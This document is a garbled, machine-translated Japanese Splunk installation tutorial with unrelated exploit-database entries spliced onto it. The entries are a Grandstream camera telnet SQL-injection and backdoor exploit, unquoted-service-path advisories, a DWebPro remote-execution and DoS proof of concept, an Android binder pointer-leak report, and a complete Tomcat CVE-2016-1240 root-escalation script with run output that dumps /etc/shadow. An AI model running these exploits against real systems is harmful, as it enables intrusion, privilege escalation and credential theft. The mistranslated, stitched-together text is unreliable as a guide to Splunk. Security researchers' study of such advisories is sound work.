UNIXやWindowsシステム管理者、ネットワークセキュリティの専門家、ウェブサイトマネージャー、ビジネスアナリストなど、組織チームの特定のニーズに合わせてエンタープライズ環境。単一のSplunk Enterpriseのインストールは、複数のアプリケーションを同時に実行できます。

vi。 Splunk分散アーキテクチャ

1049983-20211217104617369-1751130540.jpg

上の写真に示すように:

1. 3つのレイヤーに分けることができます。最初のレイヤーはデータソースです。アプリケーションサーバー、サービスバス、ネットワーク機器、ファイアウォールなど。

2。このデータを収集する場合、たとえば、アプリケーションサーバーはSpunk Forwerderをインストールでき、ファイアウォールのデータはTCP \ Updポートを介してSplunkの中間層に送信できます。 Splunkの中間層は、Spunkのインデクサー(受信機)と呼ばれ、データはこの層に保存されます。

3。ユーザーは検索を使用します

ヘッド検索インスタンス、検索ヘッドは各インデクサーに検索要求を送信します。次に、結果を検索ヘッドに収集し、最終的に表示するためにユーザーに提示します。

4.データソースのフォワーダーは、データを複数の勇気インスタンスに転送し、フォワーダーは自動ロードバランシングを実行します。

7。汎用トランスポンダー

リピーターは、重い、軽く、普遍的な3つのタイプに分かれています。

最も一般的に使用されるものは、他の2つのカテゴリではほとんど使用されないユニバーサルフォワーダーです。

完全なSplunk Enterpriseインスタンスと比較して、汎用転送の唯一の目的はデータを転送することです。完全なSplunk Enterpriseインスタンスとは異なり、ユニバーサルフォワーダーを使用してデータをインデックスまたは検索することはできません。

より高いパフォーマンスとメモリのフットプリントを低くするには、いくつかの制限があります。

ユニバーサルフォワーダーには、検索、インデックス、またはアラーム機能がありません。

汎用のフォワーダーはデータを解析しません。

汎用転送者は、Syslogを介してデータを出力しません。

フルスプランクエンタープライズとは異なり、ユニバーサルフォワーダーにはバンドルされたPythonバージョンは含まれていません。

8。さまざまなアプリケーションシナリオ

1049983-20211217104617815-258405039.jpg

0x01 LinuxにSplunkをインストールします

1。構成時間:

設定可能な時間

エンタープライズ内でNTPサーバーを構築し、すべての関連デバイスをサーバーに向けることをお勧めします。

(各マシンの時間が一貫性がない場合、問題が発生します。したがって、すべてのデバイスの時間がNTPサーバーに向けられ、すべてのデバイスを時間内に統合できるように、NTPサーバーを構築することをお勧めします)

2。設置準備

このインストールは、Centos 6.7、64ビットに基づいています

64ビット環境に展開することをお勧めします

Splunk Enterprise:

Spunk-6.4.2-00F5BB3FA822-LINUX-X86_64.TGZ

Splunk Universal Repeater :

SplunkForwarder-6.4.2-00F5BB3FA822-LINUX-X86_64.TGZ

今回は、ルートユーザーとしてインストールされます(非ルートを使用できます)

三つ、

インストールステップ1)、TGZの圧縮パッケージをダウンロードします。

wget -chttps://download.splunk.com/products/splunk/releases/6.5.1/linux/splunk-6.5.1-f74036626f0c-linux-x86_64.tgz;

2)減圧:#tar

-ZXVF SPUNK-6.5.1-F74036626F0C-LINUX-X86_64.TGZ -C /OPT(デフォルトでは /OPTディレクトリに減圧されます)

1049983-20211217104618434-1161686613.png

3)スパンクの実行可能なプログラムは、/opt/splunk/bin/の下に配置されます。プログラムを開始するときは、Spunkを実行する必要があります。 Spunkコマンドのパラメーターは次のとおりです。

#note:次のように、次のコマンドCLIコマンドを呼び出します。一般的なフォワーダーとスパンクコマンドの両方を次のように実行できます

./splunk

//Spankを開始します

-accept-license //自動的にライセンスを受け取ります

再起動//スパンクを再起動します

ステータス//スパンクステータスを確認します

バージョン//スパンクバージョンを表示します

開始するときは、–Accept-licenseを追加することを忘れないでください。そうすれば、インストールが簡単になります。

1049983-20211217104618969-826035548.png

4)Spunkがインストールされた後、Splunk Webポート8000を開いてください。SplunkDポート8089は管理ポートです。インストール後、ブラウザのSplunk Port 8000のWebインターフェイスにアクセスできます。

1049983-20211217104619604-1540372863.jpg

注:外部コンピューターがアクセスできない場合。 iptablesサービスを閉じるか、ポリシーにポートを追加する必要があります

#Services IPTABLESTOP [他のUNIXシステムはファイアウォールをシャットダウンします]

Systemctl stop firewalld.service [centos 7の下でファイアウォールを停止]

Splunkアドレスは、http://192.168.199.205:8000です。 Spunkを入力するデフォルトの管理者は次のとおりです。管理者とパスワードはchangemeです。パスワードは初めてログインすることで変更されます

Spunk Boot ./splunkを構成します

Boot-startを有効にする//このようにして、Splunkサービスが開始されるたびに、

1049983-20211217104620029-1728341147.png

#上記のコマンドを介して勇気のステータスとバージョン情報を確認してください。/splunkステータス

1049983-20211217104620415-2019433658.png

#viewプロセス関連情報:ps -f | Grep Spluk

1049983-20211217104620947-739310990.png

iv。 Splunkのアンインストール

./splunk stop //sprunkを停止します

./rm – rf/opt/splunk

//Splunkインストールディレクトリを削除します

アンインストールするときは注意して、データのバックアップに注意を払ってください

5。SplunkUniversal Forwerder

をインストールします

1)、汎用転送業者をOPTディレクトリに減圧します。 Splunk Forwarderのインストール方法は、Spunkのメソッドと同じですが、UIインターフェイスはありません。

Tar ZXVF

splumkforwarder-6.4.2-00F5BB3FA822-LINUX-X86_64.TGZ -C /OPT

2)SplunkForwarderのビンディレクトリに切り替えて、一般的な転送者を起動します

cd/opt/splunkforwarder/bin///一般的な転送者の実行可能ファイルプログラムディレクトリに切り替えます

./splunk start –accept-license //一般的な転送者を起動します

注:Splumk Webと一般的な転送者が同じサーバーにインストールされ、一般的な転送者の管理ポートも8090である場合、Splumkが占有するように求められます。次のように、フォワーダー管理ポートを変更するには、「はい」を選択します。

1049983-20211217104621722-603969532.png

CLIコマンドを介してSplunkdのポートを表示できます。

1049983-20211217104622123-1150049921.png

1049983-20211217104622582-881307486.png

3)一般的なフォワーダーのパスワードを変更します

デフォルトのパスワード:admin/changeme

パスワードを次のように変更します:役割は役割であり、認証は検証の元のパスワードです。

1049983-20211217104622962-283785011.png

0x02 WindowsにSplunkをインストールします

1。インストール準備:

#build an nptサーバー

同じ時間の構成

エンタープライズ内でNTPサーバーを構築し、すべての関連デバイスをサーバーに向けることをお勧めします。

#ユーザーの選択を選択します

ローカルシステムユーザー、この方法は今回採用されています

ドメインユーザー、より複雑な、ドキュメントを参照してください

#installation環境

このインストールは、Windows 7、64ビットに基づいています

64ビット環境に展開することをお勧めします

Splunk Enterprise:

Splunk-6.4.2-00F5BB3FA822-X64-RELEASE.msi

Splunk Universal Repeater :

SpunkForWarder-6.4.2-00F5BB3FA822-X64-RELEASE.MSI

二、

インストール手順:GUIのインストールは比較的簡単で、ここでは実証されません。

Splunkは、デフォルトで「C: \プログラムにインストールされています

ファイル\ splunk "

インストール後、2つのサービスが登録され、ディスプレイ名は次のとおりです。SPLUNKDサービス、SPPLUNKWEB(レガシー目的のみ)

1049983-20211217104623557-2109335727.jpg

開始:Splunk Start

クローズ:スプラン停止

再起動:Splunk Restart

ステータスの表示:Splunkステータス

バージョンを表示:Splunkバージョン

Windows DOSコマンドを介して:

ネットスタートSplunkd

ネットストップSplunkd

サービスパネルを通して(services.msc)

1049983-20211217104623923-1481690476.png

#splunk Webのポートコマンドを確認してください。

Splunk Show Webポート

1049983-20211217104624347-265319833.png

iii。スパンクのアンインストール

上記の説明に従って、spunkdを停止します。

Windowsコントロールパネルのアンインストーラーを介してアンインストールします。

1049983-20211217104624696-1557887146.jpg

4、

Splunk Universal Forwarder GUIのインストールは比較的簡単です。選択:オプションをカスタマイズします。次のようにSSL証明書を選択できます。

1049983-20211217104625240-1584236293.jpg

#セカンドインストーラーは次のとおりです。

ローカルシステム:ローカルシステムユーザー

ドメインアカウント:ドメインアカウント

#ログオプションを収集するかどうかを選択します(Windows

イベントログ)。など:アプリケーションログ、セキュリティログ、システムログ、転送イベントログ、およびインストールログ。

#Windowsを収集するかどうかを選択します

パフォーマンスモニター。など:CPU、メモリ、ディスク、ネットワークステータスなど。

#note:これらのログの収集は、Microsoft WindowsプラグインのSplunkアドオンであり、次のステップにインストールできます。

1049983-20211217104625685-954323104.jpg

収集されたログはSplunk EnterpriseバージョンのWineVentlogのインデックスに転送されるため、Splunk Enterpriseバージョンはインデックスを作成しないため、作成する必要がある場合は、手動で作成するか、Splunkアプリをインストールします。でインデックスを作成します:

Splunk Web→設定→インデックス→新しいインデックスを入力する

1049983-20211217104626087-225598907.png

次のステップ(インデクサーの受信)は、レシーバーをセットアップすることです。つまり、上記のシステムログが転送されるIPおよびポートが転送されます。 Spluk Enterpriseバージョンはローカルであるため、ここにLocalHostを書き、10001ポートがこれらのログをSplunkエンティティに転送できるようにします。

1049983-20211217104626542-1621099451.jpg

#next in Splunk

エンタープライズで受信を構成します。

Splunk Web→[設定]→[転送]→[受信]→[受信]→[追加]→このポートを聞く:10001(受信ポートが設定されている)

1049983-20211217104626884-842200250.png

#スプランクCLIコマンドを使用してリスニングポートを表示します

Splunkディスプレイリッスン

1049983-20211217104627234-695735886.png

もちろん、Splunk CLIコマンドを使用してリスニングポートを増やすこともできます。

Splunk Enableリッスン10002

この時点で、WineVentlogインデックスで受信したデータを表示できます

1049983-20211217104627650-1715032913.png

この時点で、システム独自のアプリ(検索レポート)は、SPL言語を使用してインデックスイベントを検索できます。

1049983-20211217104628148-1248572639.png

#note:Splunk EnterpriseとGeneral Forwarderの管理ポート8090との間のポート競合は、Windowsの下で自動的に解決されます。

0x03 sprunk sprunk intestrationの後の構成

1。 Splunk

のサーバー名を構成します

SETTINGS-SERVER SETTINGS-GENERAL SETTINGS

デフォルトはサーバーホスト名です

コマンドラインを介して変更することもできます

./splunk Set Servername Server

# Exploit Title: Grandstream GXV3611_HD Telnet SQL Injection and backdoor command
# Exploit Author: pizza1337
# Vendor Homepage: http://www.grandstream.com/
# Version: GXV3611_HD Core 1.0.3.6, 1.0.4.3
# GXV3611IR_HD Core 1.0.3.5
# Tested on:
# -GXV3611_HD
#  Bootloader Version: 	1.0.0.0
#  Core Version: 	1.0.4.3
#  Base Version: 	1.0.4.43
#  Firmware Version: 	1.0.4.43
# -GXV3611IR_HD
#  Bootloader Version:  1.0.3.5
#  Core Version:        1.0.3.5
#  Base Version:        1.0.3.5
#  Firmware Version:    1.0.3.5
# CVE : CVE-2015-2866
# Category: remote
# More information:
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2866
# https://www.kb.cert.org/vuls/id/253708
# Description:
# http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html
import telnetlib
import sys

if len(sys.argv) < 2:
    print "USAGE: python %s IP_ADDRESS"%sys.argv[0]
    quit()

conn = telnetlib.Telnet(sys.argv[1])
conn.read_until("Username: ")
conn.write("';update user set password='a';--\r\n") #This changes all the passwords to a, including the admin password
conn.read_until("Password: ")
conn.write("nothing\r\n")
conn.read_until("Username: ")
conn.write("admin\r\n")
conn.read_until("Password: ")
conn.write("a\r\n") #Login with the new password
conn.read_until("> ")
conn.write("!#/ port lol\r\n") #Backdoor command triggers telnet server to startup. For some reason, typing "!#/ port" does not seem to work.
conn.read_until("> ")
conn.write("quit\r\n")
conn.close()
print "Telnet into port 20000 with username root and no password to get shell" #There is no login password
            
# Exploit Title: Netgear Genie 2.4.32 Unquoted Service Path Elevation of Privilege
# Date: 30/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: www.netgear.com
# Software Link: https://www.netgear.com/home/discover/apps/genie.aspx?

cid=wmt_netgear_organic
# Version: Software Version 2.4.32
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec

1. Description:

Netgear Genie installs a service called 'NETGEARGenieDaemon' with an unquoted service

path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\Program Files>sc qc NETGEARGenieDaemon
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NETGEARGenieDaemon
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGEAR Genie\bin\NETGEARGenieDaemon.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGEARGenieDaemon
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
            
# Exploit Title: Windows Firewall Control Unquoted Service Path Privilege Escalation
# Date: 24/09/2016
# Exploit Author: zaeek@protonmail.com
# Vendor Homepage: http://www.binisoft.org
# Version: 4.8.6.0
# Tested on: Windows 7 32/64bit

====Description====

Windows Firewall Control lacks of the quotes in filepath, causing it to be a potential vector of privilege escalation attack.
To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges.

====Proof-of-Concept====

C:\\Users\\testusr>sc qc _wfcs
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: _wfcs
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\\Program Files\\Windows Firewall Control\\wfcs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Firewall Control
DEPENDENCIES : MpsSvc
SERVICE_START_NAME : LocalSystem
            
# Exploit Title: DWebPro 8.4.2 Remote Binary Execution
# Date: 01/10/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Author twitter: @tulpa_security
# Vendor Homepage: http://www.dwebpro.com/
# Software Link: http://www.dwebpro.com/download
# Version: 8.4.2
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec

1. Description:

DWebPro is a software package used for used for distributing dynamical web sites on CD/DVD or USB drives. It
includes it's own web server called "primary web server" as well as an SMTP server. The POC below relates to the
installation of DWebPro itself however it is conceivable that the vulnerability could be leveraged within certain
contexts from a CD/DVD or USB drive. Dependent on the client configuration this vulnerability could be exploited
remotely and/or locally. The SMTP server of DWebPro is also extremely susceptible to DOS attacks.

2. Remote Binary Execution and Local File Inclusion Proof of Concept

When browsing to the demo site installed with DWebPro you will find hyperlinks to various resources located on the
local machine. One such example is "http://127.0.0.1:8080/dwebpro/start?file=C:\DWebPro\deploy\..\help\english
\dwebpro.chm". Any file can be accessed on the vulnerable machine by simply replacing the start?file= location. It
is important to note however that when browsing to an executable file through this vulnerability, that the web server
will indeed run the application locally instead of prompting you for a download. As an example, the following will start the
calculator process on the victim machine "http://192.168.0.1:8080/dwebpro/start?file=C:\Windows\system32\calc.exe".
Calc.exe will by default execute with the same permission as the user who ran dwepro.exe initially.

Basic cmd commands can also be executed such as with "http://192.168.0.1:8080/dwebpro/start?file=ipconfig".

These privileges can be escalated to SYSTEM however by installing the application as a windows service which will
automatically run on start up. In order to initiate that installation, the attacker could take advantage of a script
which is installed by default and can be executed thanks to the LFI vulnerability. This can be accomplished by using
"http://192.168.0.1:8080/dwebpro/start?file=C:\DWebPro\service\install.bat".

3. Denial of Service Proof of Concept

#!/usr/bin/python

import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.0.1',25))

evil = 'A' * 300
s.recv(1024)
s.send(evil)

s.close()
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=860

When frameworks/native/libs/binder/Parcel.cpp reads e.g. a string from a parcel, it does not verify that the string doesn't overlap with any byte range that was tagged as a binder object by the sender. When an attacker sends a parcel to a victim process that contains an unexpected binder handle referring to an object from the victim process where string data is expected, the kernel replaces the attacker-specified handle with a pointer to the object in the victim process. The victim then treats that pointer as part of the attacker-supplied input data, possibly making it available to the attacker at a later point in time.

One example of such an echo service is the "clipboard" service: Strings written using setPrimaryClip() can be read back using getPrimaryClip().

A PoC that leaks the addresses of the "permission", "package" and "clipboard" services from system_server is attached (source code and apk).

Its logcat output looks like this:

===============
[...]
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 2a85
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 7362
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 17f
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 0
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: fd80
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 367b
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 71
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 0
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 4c0
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 2964
01-15 05:20:54.529 19158-19158/com.google.jannh.pointerleak E/leaker: 71
01-15 05:20:54.530 19158-19158/com.google.jannh.pointerleak E/leaker: == service "permission" ==
                                                                      type:   BINDER_TYPE_BINDER
                                                                      object: 0x000000712967e260
                                                                      
                                                                      == service "package" ==
                                                                      type:   BINDER_TYPE_BINDER
                                                                      object: 0x000000712963cfc0
                                                                      
                                                                      == service "clipboard" ==
                                                                      type:   BINDER_TYPE_BINDER
                                                                      object: 0x00000071367bfd80
===============


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40449.zip
            
=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-1240
- Release date: 30.09.2016
- Revision: 1
- Severity: High
=============================================


I. VULNERABILITY
-------------------------

Apache Tomcat packaging on Debian-based distros - Local Root Privilege Escalation

Affected debian packages:

Tomcat 8 <= 8.0.36-2 
Tomcat 7 <= 7.0.70-2      
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

Ubuntu systems are also affected. See section VII. for details.
Other systems using the affected debian packages may also be affected.


II. BACKGROUND
-------------------------

"The Apache Tomcat® software is an open source implementation of the 
Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket 
technologies. The Java Servlet, JavaServer Pages, Java Expression Language 
and Java WebSocket specifications are developed under the Java Community 
Process.

The Apache Tomcat software is developed in an open and participatory 
environment and released under the Apache License version 2. 
The Apache Tomcat project is intended to be a collaboration of the 
best-of-breed developers from around the world.

Apache Tomcat software powers numerous large-scale, mission-critical web 
applications across a diverse range of industries and organizations. 
Some of these users and their stories are listed on the PoweredBy wiki page.
"

http://tomcat.apache.org/


III. INTRODUCTION
-------------------------

Tomcat (6, 7, 8) packages provided by default repositories on Debian-based 
distributions (including Debian, Ubuntu etc.) provide a vulnerable
tomcat init script that allows local attackers who have already gained access 
to the tomcat account (for example, by exploiting an RCE vulnerability
in a java web application hosted on Tomcat, uploading a webshell etc.) to
escalate their privileges from tomcat user to root and fully compromise the 
target system.

IV. DESCRIPTION
-------------------------

The vulnerability is located in the tomcat init script provided by affected
packages, normally installed at /etc/init.d/tomcatN. 

The script for tomcat7 contains the following lines:

-----[tomcat7]----

# Run the catalina.sh script as a daemon
set +e
touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

-------[eof]------

Local attackers who have gained access to the server in the context of the
tomcat user (for example, through a vulnerability in a web application) would 
be able to replace the log file with a symlink to an arbitrary system file 
and escalate their privileges to root once Tomcat init script (running as root)
re-opens the catalina.out file after a service restart, reboot etc.

As attackers would already have a tomcat account at the time of exploitation,
they could also kill the tomcat processes to introduce the need for a restart.


V. PROOF OF CONCEPT EXPLOIT
-------------------------

------[ tomcat-rootprivesc-deb.sh ]------

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $TOMCATLOG
	touch $TOMCATLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n > /etc/ld.so.preload 2>/dev/null
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
	cleanexit 0
}

#intro 
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
	echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
	exit 3
fi
if [ "$2" = "-deferred" ]; then
	mode="deferred"
else
	mode="active"
fi

# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
	exit 3
fi

# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
	echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
	exit 3
fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
	rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
	if [ $? -ne 0 ]; then
		echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
		cleanexit 3
	fi
	echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
	echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
	echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
	echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
	echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n"
	exit 0
fi

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
		unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
	cleanexit 2
fi

# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
	cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)"
while :; do 
	sleep 0.1
	if [ -f /etc/ld.so.preload ]; then
		echo $PRIVESCLIB > /etc/ld.so.preload
		break;
	fi
done

# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"
else
	echo -e "\n[!] Failed to get root"
	cleanexit 2
fi

# Execute the rootshell
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0

--------------[ EOF ]--------------------



Example exploit run:
~~~~~~~~~~~~~~

tomcat7@ubuntu:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

tomcat7@ubuntu:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04 LTS
Release:	16.04
Codename:	xenial

tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
ii  libtomcat7-java              7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- core libraries
ii  tomcat7                      7.0.68-1ubuntu0.1               all          Servlet and JSP engine
ii  tomcat7-common               7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- common files

tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out 
 
Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240

Discovered and coded by: 

Dawid Golunski 
http://legalhackers.com 

[+] Starting the exploit in [active] mode with the following privileges: 
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh

[+] Symlink created at: 
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload

[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)

[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: 
-rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh

Please tell me you're seeing this too ;) 

[+] Executing the rootshell /tmp/tomcatrootsh now! 

tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exit
exit

[+] Cleaning up...

[+] Job done. Exiting with code 0 



VI. BUSINESS IMPACT
-------------------------

Local attackers who have gained access to tomcat user account (for example 
remotely via a vulnerable web application, or locally via weak webroot perms),
could escalate their privileges to root and fully compromise the affected system.

 
VII. SYSTEMS AFFECTED
-------------------------

The following Debian package versions are affected:

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

A more detailed lists of affected packages can be found at:

Debian:
